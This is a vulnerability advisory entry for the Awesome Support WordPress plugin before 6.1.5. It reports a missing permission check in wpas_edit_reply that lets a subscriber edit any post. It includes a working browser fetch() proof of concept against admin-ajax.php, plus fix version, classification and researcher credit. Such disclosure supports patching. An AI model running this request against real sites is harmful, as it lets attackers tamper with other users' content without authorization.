WordPress Plugin Vulnerabilities

Awesome Support < 6.1.5 - Insufficient permission check in wpas_edit_reply

Description

The plugin does not correctly authorize the wpas_edit_reply function, allowing users to edit posts for which they do not have permission.

Proof of Concept

Log in as a subscriber and run the following code in the browser, setting the reply_id to any post ID.

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded"
  },
  "body": new URLSearchParams({"action": "wpas_edit_reply", "reply_id": "1", "reply_content": "hello"}),
  "method": "POST",
  "credentials": "include"
});

Affects Plugins

Fixed in 6.1.5

References

Classification

Type
ACCESS CONTROLS
CWE

Miscellaneous

Original Researcher
Krzysztof Zając (CERT PL)
Submitter
Krzysztof Zając (CERT PL)
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-10-16 (about 1 months ago)
Added
2023-10-16 (about 1 months ago)
Last Updated
2023-10-17 (about 1 months ago)

Other